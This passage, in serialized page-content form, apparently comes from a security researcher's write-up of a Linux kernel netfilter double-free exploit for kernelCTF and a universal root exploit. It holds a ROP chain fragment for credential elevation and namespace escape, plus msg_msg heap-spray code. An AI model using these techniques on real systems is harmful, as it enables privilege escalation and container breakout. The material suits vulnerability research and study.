namespace",{"type":25,"tag":26,"props":69872,"children":69873},{},[69874,69876,69882,69884,69890,69892,69898,69900,69906,69908,69913,69915,69921],{"type":30,"value":69875},"However, I had a hard time finding gadgets to easily move the return value of ",{"type":25,"tag":264,"props":69877,"children":69879},{"className":69878},[],[69880],{"type":30,"value":69881},"find_task_by_vpid(1)",{"type":30,"value":69883}," passed through ",{"type":25,"tag":264,"props":69885,"children":69887},{"className":69886},[],[69888],{"type":30,"value":69889},"rax",{"type":30,"value":69891}," to ",{"type":25,"tag":264,"props":69893,"children":69895},{"className":69894},[],[69896],{"type":30,"value":69897},"rdi",{"type":30,"value":69899},". What I ended up going with was a ",{"type":25,"tag":264,"props":69901,"children":69903},{"className":69902},[],[69904],{"type":30,"value":69905},"push rax; jmp qword ptr [rsi + 0x66]; ret",{"type":30,"value":69907}," gadget, that allowed me to push the ",{"type":25,"tag":264,"props":69909,"children":69911},{"className":69910},[],[69912],{"type":30,"value":69889},{"type":30,"value":69914}," value onto the stack and then jump to a controlled location, where I stored a ",{"type":25,"tag":264,"props":69916,"children":69918},{"className":69917},[],[69919],{"type":30,"value":69920},"pop rdi; ret",{"type":30,"value":69922}," gadget to consume the new stack value and restore normal ROP execution. This very minor detour in the ROP flow looks like this:",{"type":25,"tag":108,"props":69924,"children":69925},{},[69926,69931,69944],{"type":25,"tag":112,"props":69927,"children":69928},{},[69929],{"type":30,"value":69930},"We push the value onto the stack (stack pointer regresses)",{"type":25,"tag":112,"props":69932,"children":69933},{},[69934,69936,69942],{"type":30,"value":69935},"We jump to our \"trampoline\" gadget (",{"type":25,"tag":264,"props":69937,"children":69939},{"className":69938},[],[69940],{"type":30,"value":69941},"pop rdi; ret;",{"type":30,"value":69943}," location)",{"type":25,"tag":112,"props":69945,"children":69946},{},[69947,69952],{"type":25,"tag":264,"props":69948,"children":69950},{"className":69949},[],[69951],{"type":30,"value":69920},{"type":30,"value":69953}," consumes the value from the stack (progressing the stack pointer back to where it should be), and then we bounce back to the next gadget",{"type":25,"tag":7764,"props":69955,"children":69957},{"className":42222,"code":69956,"language":42224,"meta":7,"style":7},"[...]\n    // commit_creds(&init_cred);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = kaslr_slide + INIT_CRED;\n    rop[pos++] = kaslr_slide + COMMIT_CREDS;\n\n    // task = find_task_by_vpid(1);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = 1;\n    rop[pos++] = kaslr_slide + FIND_TASK_BY_VPID;\n    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = obj_ptr + 0xe0 - 0x66;            // rax -> rdi and resume rop\n    rop[pos++] = kaslr_slide + 0xffffffff81caed31; // push rax; jmp qword ptr [rsi + 0x66];\n\n    // switch_task_namespaces(task, &init_nsproxy);\n    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = kaslr_slide + INIT_NSPROXY;\n    rop[pos++] = kaslr_slide + SWITCH_TASK_NAMESPACES;\n[...]\n",[69958],{"type":25,"tag":264,"props":69959,"children":69960},{"__ignoreMap":7},[69961,69968,69985,70030,70066,70102,70109,70117,70160,70191,70227,70272,70327,70372,70379,70387,70430,70466,70502],{"type":25,"tag":271,"props":69962,"children":69963},{"class":13593,"line":13594},[69964],{"type":25,"tag":271,"props":69965,"children":69966},{"style":13625},[69967],{"type":30,"value":23442},{"type":25,"tag":271,"props":69969,"children":69970},{"class":13593,"line":11641},[69971,69976,69981],{"type":25,"tag":271,"props":69972,"children":69973},{"style":13625},[69974],{"type":30,"value":69975},"    // commit_creds(&",{"type":25,"tag":271,"props":69977,"children":69978},{"style":13598},[69979],{"type":30,"value":69980},"init_cred",{"type":25,"tag":271,"props":69982,"children":69983},{"style":13625},[69984],{"type":30,"value":13665},{"type":25,"tag":271,"props":69986,"children":69987},{"class":13593,"line":14354},[69988,69992,69996,70000,70004,70008,70012,70016,70021,70025],{"type":25,"tag":271,"props":69989,"children":69990},{"style":13598},[69991],{"type":30,"value":69285},{"type":25,"tag":271,"props":69993,"children":69994},{"style":13625},[69995],{"type":30,"value":69799},{"type":25,"tag":271,"props":69997,"children":69998},{"style":13603},[69999],{"type":30,"value":64385},{"type":25,"tag":271,"props":70001,"children":70002},{"style":13625},[70003],{"type":30,"value":21781},{"type":25,"tag":271,"props":70005,"children":70006},{"style":13603},[70007],{"type":30,"value":1065},{"type":25,"tag":271,"props":70009,"children":70010},{"style":13625},[70011],{"type":30,"value":69306},{"type":25,"tag":271,"props":70013,"children":70014},{"style":13603},[70015],{"type":30,"value":2074},{"type":25,"tag":271,"props":70017,"children":70018},{"style":16187},[70019],{"type":30,"value":70020}," 0xffffffff8112c7c0",{"type":25,"tag":271,"props":70022,"children":70023},{"style":13625},[70024],{"type":30,"value":62190},{"type":25,"tag":271,"props":70026,"children":70027},{"style":14385},[70028],{"type":30,"value":70029}," // pop rdi; ret;\n",{"type":25,"tag":271,"props":70031,"children":70032},{"class":13593,"line":14391},[70033,70037,70041,70045,70049,70053,70057,70061],{"type":25,"tag":271,"props":70034,"children":70035},{"style":13598},[70036],{"type":30,"value":69285},{"type":25,"tag":271,"props":70038,"children":70039},{"style":13625},[70040],{"type":30,"value":69799},{"type":25,"tag":271,"props":70042,"children":70043},{"style":13603},[70044],{"type":30,"value":64385},{"type":25,"tag":271,"props":70046,"children":70047},{"style":13625},[70048],{"type":30,"value":21781},{"type":25,"tag":271,"props":70050,"children":70051},{"style":13603},[70052],{"type":30,"value":1065},{"type":25,"tag":271,"props":70054,"children":70055},{"style":13625},[70056],{"type":30,"value":69306},{"type":25,"tag":271,"props":70058,"children":70059},{"style":13603},[70060],{"type":30,"value":2074},{"type":25,"tag":271,"props":70062,"children":70063},{"style":13625},[70064],{"type":30,"value":70065}," INIT_CRED;\n",{"type":25,"tag":271,"props":70067,"children":70068},{"class":13593,"line":14400},[70069,70073,70077,70081,70085,70089,70093,70097],{"type":25,"tag":271,"props":70070,"children":70071},{"style":13598},[70072],{"type":30,"value":69285},{"type":25,"tag":271,"props":70074,"children":70075},{"style":13625},[70076],{"type":30,"value":69799},{"type":25,"tag":271,"props":70078,"children":70079},{"style":13603},[70080],{"type":30,"value":64385},{"type":25,"tag":271,"props":70082,"children":70083},{"style":13625},[70084],{"type":30,"value":21781},{"type":25,"tag":271,"props":70086,"children":70087},{"style":13603},[70088],{"type":30,"value":1065},{"type":25,"tag":271,"props":70090,"children":70091},{"style":13625},[70092],{"type":30,"value":69306},{"type":25,"tag":271,"props":70094,"children":70095},{"style":13603},[70096],{"type":30,"value":2074},{"type":25,"tag":271,"props":70098,"children":70099},{"style":13625},[70100],{"type":30,"value":70101}," COMMIT_CREDS;\n",{"type":25,"tag":271,"props":70103,"children":70104},{"class":13593,"line":16406},[70105],{"type":25,"tag":271,"props":70106,"children":70107},{"emptyLinePlaceholder":18},[70108],{"type":30,"value":16829},{"type":25,"tag":271,"props":70110,"children":70111},{"class":13593,"line":16434},[70112],{"type":25,"tag":271,"props":70113,"children":70114},{"style":14385},[70115],{"type":30,"value":70116},"    // task = find_task_by_vpid(1);\n",{"type":25,"tag":271,"props":70118,"children":70119},{"class":13593,"line":16447},[70120,70124,70128,70132,70136,70140,70144,70148,70152,70156],{"type":25,"tag":271,"props":70121,"children":70122},{"style":13598},[70123],{"type":30,"value":69285},{"type":25,"tag":271,"props":70125,"children":70126},{"style":13625},[70127],{"type":30,"value":69799},{"type":25,"tag":271,"props":70129,"children":70130},{"style":13603},[70131],{"type":30,"value":64385},{"type":25,"tag":271,"props":70133,"children":70134},{"style":13625},[70135],{"type":30,"value":21781},{"type":25,"tag":271,"props":70137,"children":70138},{"style":13603},[70139],{"type":30,"value":1065},{"type":25,"tag":271,"props":70141,"children":70142},{"style":13625},[70143],{"type":30,"value":69306},{"type":25,"tag":271,"props":70145,"children":70146},{"style":13603},[70147],{"type":30,"value":2074},{"type":25,"tag":271,"props":70149,"children":70150},{"style":16187},[70151],{"type":30,"value":70020},{"type":25,"tag":271,"props":70153,"children":70154},{"style":13625},[70155],{"type":30,"value":62190},{"type":25,"tag":271,"props":70157,"children":70158},{"style":14385},[70159],{"type":30,"value":70029},{"type":25,"tag":271,"props":70161,"children":70162},{"class":13593,"line":16465},[70163,70167,70171,70175,70179,70183,70187],{"type":25,"tag":271,"props":70164,"children":70165},{"style":13598},[70166],{"type":30,"value":69285},{"type":25,"tag":271,"props":70168,"children":70169},{"style":13625},[70170],{"type":30,"value":69799},{"type":25,"tag":271,"props":70172,"children":70173},{"style":13603},[70174],{"type":30,"value":64385},{"type":25,"tag":271,"props":70176,"children":70177},{"style":13625},[70178],{"type":30,"value":21781},{"type":25,"tag":271,"props":70180,"children":70181},{"style":13603},[70182],{"type":30,"value":1065},{"type":25,"tag":271,"props":70184,"children":70185},{"style":16187},[70186],{"type":30,"value":17654},{"type":25,"tag":271,"props":70188,"children":70189},{"style":13625},[70190],{"type":30,"value":16165},{"type":25,"tag":271,"props":70192,"children":70193},{"class":13593,"line":16486},[70194,70198,70202,70206,70210,70214,70218,70222],{"type":25,"tag":271,"props":70195,"children":70196},{"style":13598},[70197],{"type":30,"value":69285},{"type":25,"tag":271,"props":70199,"children":70200},{"style":13625},[70201],{"type":30,"value":69799},{"type":25,"tag":271,"props":70203,"children":70204},{"style":13603},[70205],{"type":30,"value":64385},{"type":25,"tag":271,"props":70207,"children":70208},{"style":13625},[70209],{"type":30,"value":21781},{"type":25,"tag":271,"props":70211,"children":70212},{"style":13603},[70213],{"type":30,"value":1065},{"type":25,"tag":271,"props":70215,"children":70216},{"style":13625},[70217],{"type":30,"value":69306},{"type":25,"tag":271,"props":70219,"children":70220},{"style":13603},[70221],{"type":30,"value":2074},{"type":25,"tag":271,"props":70223,"children":70224},{"style":13625},[70225],{"type":30,"value":70226}," FIND_TASK_BY_VPID;\n",{"type":25,"tag":271,"props":70228,"children":70229},{"class":13593,"line":16495},[70230,70234,70238,70242,70246,70250,70254,70258,70263,70267],{"type":25,"tag":271,"props":70231,"children":70232},{"style":13598},[70233],{"type":30,"value":69285},{"type":25,"tag":271,"props":70235,"children":70236},{"style":13625},[70237],{"type":30,"value":69799},{"type":25,"tag":271,"props":70239,"children":70240},{"style":13603},[70241],{"type":30,"value":64385},{"type":25,"tag":271,"props":70243,"children":70244},{"style":13625},[70245],{"type":30,"value":21781},{"type":25,"tag":271,"props":70247,"children":70248},{"style":13603},[70249],{"type":30,"value":1065},{"type":25,"tag":271,"props":70251,"children":70252},{"style":13625},[70253],{"type":30,"value":69306},{"type":25,"tag":271,"props":70255,"children":70256},{"style":13603},[70257],{"type":30,"value":2074},{"type":25,"tag":271,"props":70259,"children":70260},{"style":16187},[70261],{"type":30,"value":70262}," 0xffffffff8102e2a6",{"type":25,"tag":271,"props":70264,"children":70265},{"style":13625},[70266],{"type":30,"value":62190},{"type":25,"tag":271,"props":70268,"children":70269},{"style":14385},[70270],{"type":30,"value":70271}," // pop rsi; ret;\n",{"type":25,"tag":271,"props":70273,"children":70274},{"class":13593,"line":16744},[70275,70279,70283,70287,70291,70295,70300,70304,70309,70313,70318,70322],{"type":25,"tag":271,"props":70276,"children":70277},{"style":13598},[70278],{"type":30,"value":69285},{"type":25,"tag":271,"props":70280,"children":70281},{"style":13625},[70282],{"type":30,"value":69799},{"type":25,"tag":271,"props":70284,"children":70285},{"style":13603},[70286],{"type":30,"value":64385},{"type":25,"tag":271,"props":70288,"children":70289},{"style":13625},[70290],{"type":30,"value":21781},{"type":25,"tag":271,"props":70292,"children":70293},{"style":13603},[70294],{"type":30,"value":1065},{"type":25,"tag":271,"props":70296,"children":70297},{"style":13625},[70298],{"type":30,"value":70299}," obj_ptr ",{"type":25,"tag":271,"props":70301,"children":70302},{"style":13603},[70303],{"type":30,"value":2074},{"type":25,"tag":271,"props":70305,"children":70306},{"style":16187},[70307],{"type":30,"value":70308}," 0xe0",{"type":25,"tag":271,"props":70310,"children":70311},{"style":13603},[70312],{"type":30,"value":64371},{"type":25,"tag":271,"props":70314,"children":70315},{"style":16187},[70316],{"type":30,"value":70317}," 0x66",{"type":25,"tag":271,"props":70319,"children":70320},{"style":13625},[70321],{"type":30,"value":62190},{"type":25,"tag":271,"props":70323,"children":70324},{"style":14385},[70325],{"type":30,"value":70326},"            // rax -> rdi and resume rop\n",{"type":25,"tag":271,"props":70328,"children":70329},{"class":13593,"line":16761},[70330,70334,70338,70342,70346,70350,70354,70358,70363,70367],{"type":25,"tag":271,"props":70331,"children":70332},{"style":13598},[70333],{"type":30,"value":69285},{"type":25,"tag":271,"props":70335,"children":70336},{"style":13625},[70337],{"type":30,"value":69799},{"type":25,"tag":271,"props":70339,"children":70340},{"style":13603},[70341],{"type":30,"value":64385},{"type":25,"tag":271,"props":70343,"children":70344},{"style":13625},[70345],{"type":30,"value":21781},{"type":25,"tag":271,"props":70347,"children":70348},{"style":13603},[70349],{"type":30,"value":1065},{"type":25,"tag":271,"props":70351,"children":70352},{"style":13625},[70353],{"type":30,"value":69306},{"type":25,"tag":271,"props":70355,"children":70356},{"style":13603},[70357],{"type":30,"value":2074},{"type":25,"tag":271,"props":70359,"children":70360},{"style":16187},[70361],{"type":30,"value":70362}," 0xffffffff81caed31",{"type":25,"tag":271,"props":70364,"children":70365},{"style":13625},[70366],{"type":30,"value":62190},{"type":25,"tag":271,"props":70368,"children":70369},{"style":14385},[70370],{"type":30,"value":70371}," // push rax; jmp qword ptr [rsi + 0x66];\n",{"type":25,"tag":271,"props":70373,"children":70374},{"class":13593,"line":16778},[70375],{"type":25,"tag":271,"props":70376,"children":70377},{"emptyLinePlaceholder":18},[70378],{"type":30,"value":16829},{"type":25,"tag":271,"props":70380,"children":70381},{"class":13593,"line":16791},[70382],{"type":25,"tag":271,"props":70383,"children":70384},{"style":14385},[70385],{"type":30,"value":70386},"    // switch_task_namespaces(task, &init_nsproxy);\n",{"type":25,"tag":271,"props":70388,"children":70389},{"class":13593,"line":16800},[70390,70394,70398,70402,70406,70410,70414,70418,70422,70426],{"type":25,"tag":271,"props":70391,"children":70392},{"style":13598},[70393],{"type":30,"value":69285},{"type":25,"tag":271,"props":70395,"children":70396},{"style":13625},[70397],{"type":30,"value":69799},{"type":25,"tag":271,"props":70399,"children":70400},{"style":13603},[70401],{"type":30,"value":64385},{"type":25,"tag":271,"props":70403,"children":70404},{"style":13625},[70405],{"type":30,"value":21781},{"type":25,"tag":271,"props":70407,"children":70408},{"style":13603},[70409],{"type":30,"value":1065},{"type":25,"tag":271,"props":70411,"children":70412},{"style":13625},[70413],{"type":30,"value":69306},{"type":25,"tag":271,"props":70415,"children":70416},{"style":13603},[70417],{"type":30,"value":2074},{"type":25,"tag":271,"props":70419,"children":70420},{"style":16187},[70421],{"type":30,"value":70262},{"type":25,"tag":271,"props":70423,"children":70424},{"style":13625},[70425],{"type":30,"value":62190},{"type":25,"tag":271,"props":70427,"children":70428},{"style":14385},[70429],{"type":30,"value":70271},{"type":25,"tag":271,"props":70431,"children":70432},{"class":13593,"line":16823},[70433,70437,70441,70445,70449,70453,70457,70461],{"type":25,"tag":271,"props":70434,"children":70435},{"style":13598},[70436],{"type":30,"value":69285},{"type":25,"tag":271,"props":70438,"children":70439},{"style":13625},[70440],{"type":30,"value":69799},{"type":25,"tag":271,"props":70442,"children":70443},{"style":13603},[70444],{"type":30,"value":64385},{"type":25,"tag":271,"props":70446,"children":70447},{"style":13625},[70448],{"type":30,"value":21781},{"type":25,"tag":271,"props":70450,"children":70451},{"style":13603},[70452],{"type":30,"value":1065},{"type":25,"tag":271,"props":70454,"children":70455},{"style":13625},[70456],{"type":30,"value":69306},{"type":25,"tag":271,"props":70458,"children":70459},{"style":13603},[70460],{"type":30,"value":2074},{"type":25,"tag":271,"props":70462,"children":70463},{"style":13625},[70464],{"type":30,"value":70465}," INIT_NSPROXY;\n",{"type":25,"tag":271,"props":70467,"children":70468},{"class":13593,"line":16832},[70469,70473,70477,70481,70485,70489,70493,70497],{"type":25,"tag":271,"props":70470,"children":70471},{"style":13598},[70472],{"type":30,"value":69285},{"type":25,"tag":271,"props":70474,"children":70475},{"style":13625},[70476],{"type":30,"value":69799},{"type":25,"tag":271,"props":70478,"children":70479},{"style":13603},[70480],{"type":30,"value":64385},{"type":25,"tag":271,"props":70482,"children":70483},{"style":13625},[70484],{"type":30,"value":21781},{"type":25,"tag":271,"props":70486,"children":70487},{"style":13603},[70488],{"type":30,"value":1065},{"type":25,"tag":271,"props":70490,"children":70491},{"style":13625},[70492],{"type":30,"value":69306},{"type":25,"tag":271,"props":70494,"children":70495},{"style":13603},[70496],{"type":30,"value":2074},{"type":25,"tag":271,"props":70498,"children":70499},{"style":13625},[70500],{"type":30,"value":70501}," SWITCH_TASK_NAMESPACES;\n",{"type":25,"tag":271,"props":70503,"children":70504},{"class":13593,"line":16841},[70505],{"type":25,"tag":271,"props":70506,"children":70507},{"style":13625},[70508],{"type":30,"value":23442},{"type":25,"tag":247,"props":70510,"children":70512},{"id":70511},"grabbing-the-kernelctf-flag",[70513],{"type":30,"value":70514},"Grabbing the kernelCTF flag",{"type":25,"tag":26,"props":70516,"children":70517},{},[70518,70522,70524,70531],{"type":25,"tag":698,"props":70519,"children":70521},{"alt":63694,"src":70520},"/posts/netfilter-universal-root-1-day/flag.png",[],{"type":30,"value":70523},"\nYou can find the kernelCTF exploit in our ",{"type":25,"tag":83,"props":70525,"children":70528},{"href":70526,"rel":70527},"https://github.com/otter-sec/OtterRoot/blob/master/kernelctf/exploit.c",[9066],[70529],{"type":30,"value":70530},"GitHub",{"type":30,"value":1860},{"type":25,"tag":96,"props":70533,"children":70535},{"id":70534},"universal-exploit",[70536],{"type":30,"value":70537},"Universal exploit",{"type":25,"tag":26,"props":70539,"children":70540},{},[70541],{"type":30,"value":70542},"After exploiting KernelCTF, I decided to use this vulnerability to craft a universal exploit (one that works stably regardless of the target without needing to be modified). I took a different approach to avoid some compatibility and reliability pitfalls, the biggest ones being ROP and anything else that relies on kernel data offsets because those change from build to build. It's not uncommon to compile a list of gadgets for the different builds but it makes more sense just to avoid the trouble entirely.",{"type":25,"tag":247,"props":70544,"children":70546},{"id":70545},"pivot-capability-using-msg_msg-mlistnext-pointer",[70547],{"type":30,"value":70548},"Pivot capability using msg_msg->mlist.next pointer",{"type":25,"tag":26,"props":70550,"children":70551},{},[70552,70554,70560,70562,70567,70569,70575],{"type":30,"value":70553},"Using the double-free vulnerability we can overlap a ",{"type":25,"tag":264,"props":70555,"children":70557},{"className":70556},[],[70558],{"type":30,"value":70559},"msg_msg",{"type":30,"value":70561}," object with with ",{"type":25,"tag":264,"props":70563,"children":70565},{"className":70564},[],[70566],{"type":30,"value":68215},{"type":30,"value":70568}," and control the ",{"type":25,"tag":264,"props":70570,"children":70572},{"className":70571},[],[70573],{"type":30,"value":70574},"m_list.next",{"type":30,"value":70576}," pointer.",{"type":25,"tag":7764,"props":70578,"children":70580},{"className":42222,"code":70579,"language":42224,"meta":7,"style":7},"/* one msg_msg structure for each message */\nstruct msg_msg {\n struct list_head m_list;\n long m_type;\n size_t m_ts;  /* message text size */\n struct msg_msgseg *next;\n void *security;\n /* the actual message follows immediately */\n};\n[...]\nstruct list_head {\n struct list_head *next, *prev;\n};\n",[70581],{"type":25,"tag":264,"props":70582,"children":70583},{"__ignoreMap":7},[70584,70592,70608,70629,70642,70660,70685,70701,70709,70716,70723,70731,70763],{"type":25,"tag":271,"props":70585,"children":70586},{"class":13593,"line":13594},[70587],{"type":25,"tag":271,"props":70588,"children":70589},{"style":14385},[70590],{"type":30,"value":70591},"/* one msg_msg structure for each message */\n",{"type":25,"tag":271,"props":70593,"children":70594},{"class":13593,"line":11641},[70595,70599,70604],{"type":25,"tag":271,"props":70596,"children":70597},{"style":14289},[70598],{"type":30,"value":22524},{"type":25,"tag":271,"props":70600,"children":70601},{"style":13609},[70602],{"type":30,"value":70603}," msg_msg",{"type":25,"tag":271,"props":70605,"children":70606},{"style":13625},[70607],{"type":30,"value":16431},{"type":25,"tag":271,"props":70609,"children":70610},{"class":13593,"line":14354},[70611,70615,70620,70625],{"type":25,"tag":271,"props":70612,"children":70613},{"style":14289},[70614],{"type":30,"value":34271},{"type":25,"tag":271,"props":70616,"children":70617},{"style":13609},[70618],{"type":30,"value":70619}," list_head",{"type":25,"tag":271,"props":70621,"children":70622},{"style":13598},[70623],{"type":30,"value":70624}," m_list",{"type":25,"tag":271,"props":70626,"children":70627},{"style":13625},[70628],{"type":30,"value":16165},{"type":25,"tag":271,"props":70630,"children":70631},{"class":13593,"line":14391},[70632,70637],{"type":25,"tag":271,"props":70633,"children":70634},{"style":14289},[70635],{"type":30,"value":70636}," long",{"type":25,"tag":271,"props":70638,"children":70639},{"style":13625},[70640],{"type":30,"value":70641}," m_type;\n",{"type":25,"tag":271,"props":70643,"children":70644},{"class":13593,"line":14400},[70645,70650,70655],{"type":25,"tag":271,"props":70646,"children":70647},{"style":14289},[70648],{"type":30,"value":70649}," size_t",{"type":25,"tag":271,"props":70651,"children":70652},{"style":13625},[70653],{"type":30,"value":70654}," m_ts;",{"type":25,"tag":271,"props":70656,"children":70657},{"style":14385},[70658],{"type":30,"value":70659},"  /* message text size */\n",{"type":25,"tag":271,"props":70661,"children":70662},{"class":13593,"line":16406},[70663,70667,70672,70676,70681],{"type":25,"tag":271,"props":70664,"children":70665},{"style":14289},[70666],{"type":30,"value":34271},{"type":25,"tag":271,"props":70668,"children":70669},{"style":13609},[70670],{"type":30,"value":70671}," msg_msgseg",{"type":25,"tag":271,"props":70673,"children":70674},{"style":14289},[70675],{"type":30,"value":22940},{"type":25,"tag":271,"props":70677,"children":70678},{"style":13598},[70679],{"type":30,"value":70680},"next",{"type":25,"tag":271,"props":70682,"children":70683},{"style":13625},[70684],{"type":30,"value":16165},{"type":25,"tag":271,"props":70686,"children":70687},{"class":13593,"line":16434},[70688,70692,70696],{"type":25,"tag":271,"props":70689,"children":70690},{"style":14289},[70691],{"type":30,"value":64165},{"type":25,"tag":271,"props":70693,"children":70694},{"style":13603},[70695],{"type":30,"value":22940},{"type":25,"tag":271,"props":70697,"children":70698},{"style":13625},[70699],{"type":30,"value":70700},"security;\n",{"type":25,"tag":271,"props":70702,"children":70703},{"class":13593,"line":16447},[70704],{"type":25,"tag":271,"props":70705,"children":70706},{"style":14385},[70707],{"type":30,"value":70708}," /* the actual message follows immediately */\n",{"type":25,"tag":271,"props":70710,"children":70711},{"class":13593,"line":16465},[70712],{"type":25,"tag":271,"props":70713,"children":70714},{"style":13625},[70715],{"type":30,"value":29700},{"type":25,"tag":271,"props":70717,"children":70718},{"class":13593,"line":16486},[70719],{"type":25,"tag":271,"props":70720,"children":70721},{"style":13625},[70722],{"type":30,"value":23442},{"type":25,"tag":271,"props":70724,"children":70725},{"class":13593,"line":16495},[70726],{"type":25,"tag":271,"props":70727,"children":70728},{"style":13625},[70729],{"type":30,"value":70730},"struct list_head {\n",{"type":25,"tag":271,"props":70732,"children":70733},{"class":13593,"line":16744},[70734,70738,70742,70746,70750,70754,70758],{"type":25,"tag":271,"props":70735,"children":70736},{"style":14289},[70737],{"type":30,"value":34271},{"type":25,"tag":271,"props":70739,"children":70740},{"style":13609},[70741],{"type":30,"value":70619},{"type":25,"tag":271,"props":70743,"children":70744},{"style":14289},[70745],{"type":30,"value":22940},{"type":25,"tag":271,"props":70747,"children":70748},{"style":13598},[70749],{"type":30,"value":70680},{"type":25,"tag":271,"props":70751,"children":70752},{"style":13625},[70753],{"type":30,"value":44},{"type":25,"tag":271,"props":70755,"children":70756},{"style":13603},[70757],{"type":30,"value":17702},{"type":25,"tag":271,"props":70759,"children":70760},{"style":13625},[70761],{"type":30,"value":70762},"prev;\n",{"type":25,"tag":271,"props":70764,"children":70765},{"class":13593,"line":16761},[70766],{"type":25,"tag":271,"props":70767,"children":70768},{"style":13625},[70769],{"type":30,"value":29700},{"type":25,"tag":26,"props":70771,"children":70772},{},[70773,70775,70781,70783,70788],{"type":30,"value":70774},"This is particularly interesting if we send messages of different sizes on the same queue, making the ",{"type":25,"tag":264,"props":70776,"children":70778},{"className":70777},[],[70779],{"type":30,"value":70780},"mlist.next",{"type":30,"value":70782}," pointer of a message that lives in one cache point into a different cache. So, by spraying ",{"type":25,"tag":264,"props":70784,"children":70786},{"className":70785},[],[70787],{"type":30,"value":70559},{"type":30,"value":70789}," in kmalloc-cg-256 with a secondary message in each queue living in kmalloc-cg-1k.",{"type":25,"tag":26,"props":70791,"children":70792},{},[70793,70795,70800,70802],{"type":30,"value":70794},"By incrementing the next pointer of our controllable ",{"type":25,"tag":264,"props":70796,"children":70798},{"className":70797},[],[70799],{"type":30,"value":70559},{"type":30,"value":70801}," by 256, we are able to make it point to the different secondary message that is already referenced by a different primary message, creating a duplicated reference. We allow an easy way of pivoting our double-free capabilities to other caches and attacking a greater variety of objects.\n",{"type":25,"tag":698,"props":70803,"children":70805},{"alt":63694,"src":70804},"/posts/netfilter-universal-root-1-day/msg-msg.png",[],{"type":25,"tag":7764,"props":70807,"children":70809},{"className":42222,"code":70808,"language":42224,"meta":7,"style":7},"[...]\n    // Spray msg_msg in kmalloc-256 and kmalloc-1k\n    msg_t *msg = calloc(1, sizeof(msg_t) + 0xe8 - 48);\n    int qid[SPRAY];\n    for (int i = 0; i \u003C SPRAY; i++)\n    {\n        qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n        if (qid[i] \u003C 0)\n        {\n            perror(\"[-] msgget\");\n        }\n        *(uint32_t *)msg->mtext = i;\n        *(uint64_t *)&msg->mtext[8] = 0xdeadbeefcafebabe;\n        msg->mtype = MTYPE_PRIMARY;\n        msgsnd(qid[i], msg, 0xe8 - 48, 0);\n        msg->mtype = MTYPE_SECONDARY;\n        msgsnd(qid[i], msg, 1024 - 48, 0);\n    }\n    // Prepare evil msg\n    int evilqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n    if (evilqid \u003C 0)\n    {\n        perror(\"[-] msgget\");\n    }\n[...] // trigger double-free in kmalloc-256\n",[70810],{"type":25,"tag":264,"props":70811,"children":70812},{"__ignoreMap":7},[70813,70820,70828,70854,70871,70919,70926,70966,70998,71005,71026,71033,71080,71144,71170,71216,71240,71284,71291,71299,71335,71359,71366,71386,71393],{"type":25,"tag":271,"props":70814,"children":70815},{"class":13593,"line":13594},[70816],{"type":25,"tag":271,"props":70817,"children":70818},{"style":13625},[70819],{"type":30,"value":23442},{"type":25,"tag":271,"props":70821,"children":70822},{"class":13593,"line":11641},[70823],{"type":25,"tag":271,"props":70824,"children":70825},{"style":13625},[70826],{"type":30,"value":70827},"    // Spray msg_msg in kmalloc-256 and kmalloc-1k\n",{"type":25,"tag":271,"props":70829,"children":70830},{"class":13593,"line":14354},[70831,70836,70840,70844,70849],{"type":25,"tag":271,"props":70832,"children":70833},{"style":13625},[70834],{"type":30,"value":70835},"    msg_t *msg = calloc(1, ",{"type":25,"tag":271,"props":70837,"children":70838},{"style":13609},[70839],{"type":30,"value":68444},{"type":25,"tag":271,"props":70841,"children":70842},{"style":13625},[70843],{"type":30,"value":394},{"type":25,"tag":271,"props":70845,"children":70846},{"style":13609},[70847],{"type":30,"value":70848},"msg_t",{"type":25,"tag":271,"props":70850,"children":70851},{"style":13625},[70852],{"type":30,"value":70853},") + 0xe8 - 48);\n",{"type":25,"tag":271,"props":70855,"children":70856},{"class":13593,"line":14391},[70857,70861,70866],{"type":25,"tag":271,"props":70858,"children":70859},{"style":14289},[70860],{"type":30,"value":32198},{"type":25,"tag":271,"props":70862,"children":70863},{"style":13598},[70864],{"type":30,"value":70865}," qid",{"type":25,"tag":271,"props":70867,"children":70868},{"style":13625},[70869],{"type":30,"value":70870},"[SPRAY];\n",{"type":25,"tag":271,"props":70872,"children":70873},{"class":13593,"line":14400},[70874,70878,70882,70886,70890,70894,70898,70902,70906,70911,70915],{"type":25,"tag":271,"props":70875,"children":70876},{"style":16171},[70877],{"type":30,"value":16174},{"type":25,"tag":271,"props":70879,"children":70880},{"style":13625},[70881],{"type":30,"value":16213},{"type":25,"tag":271,"props":70883,"children":70884},{"style":14289},[70885],{"type":30,"value":32168},{"type":25,"tag":271,"props":70887,"children":70888},{"style":13625},[70889],{"type":30,"value":67660},{"type":25,"tag":271,"props":70891,"children":70892},{"style":13603},[70893],{"type":30,"value":1065},{"type":25,"tag":271,"props":70895,"children":70896},{"style":16187},[70897],{"type":30,"value":16190},{"type":25,"tag":271,"props":70899,"children":70900},{"style":13625},[70901],{"type":30,"value":64349},{"type":25,"tag":271,"props":70903,"children":70904},{"style":13603},[70905],{"type":30,"value":14307},{"type":25,"tag":271,"props":70907,"children":70908},{"style":13625},[70909],{"type":30,"value":70910}," SPRAY; i",{"type":25,"tag":271,"props":70912,"children":70913},{"style":13603},[70914],{"type":30,"value":64385},{"type":25,"tag":271,"props":70916,"children":70917},{"style":13625},[70918],{"type":30,"value":16299},{"type":25,"tag":271,"props":70920,"children":70921},{"class":13593,"line":16406},[70922],{"type":25,"tag":271,"props":70923,"children":70924},{"style":13625},[70925],{"type":30,"value":42299},{"type":25,"tag":271,"props":70927,"children":70928},{"class":13593,"line":16434},[70929,70934,70938,70942,70947,70952,70957,70961],{"type":25,"tag":271,"props":70930,"children":70931},{"style":13598},[70932],{"type":30,"value":70933},"        qid",{"type":25,"tag":271,"props":70935,"children":70936},{"style":13625},[70937],{"type":30,"value":67712},{"type":25,"tag":271,"props":70939,"children":70940},{"style":13603},[70941],{"type":30,"value":1065},{"type":25,"tag":271,"props":70943,"children":70944},{"style":13620},[70945],{"type":30,"value":70946}," 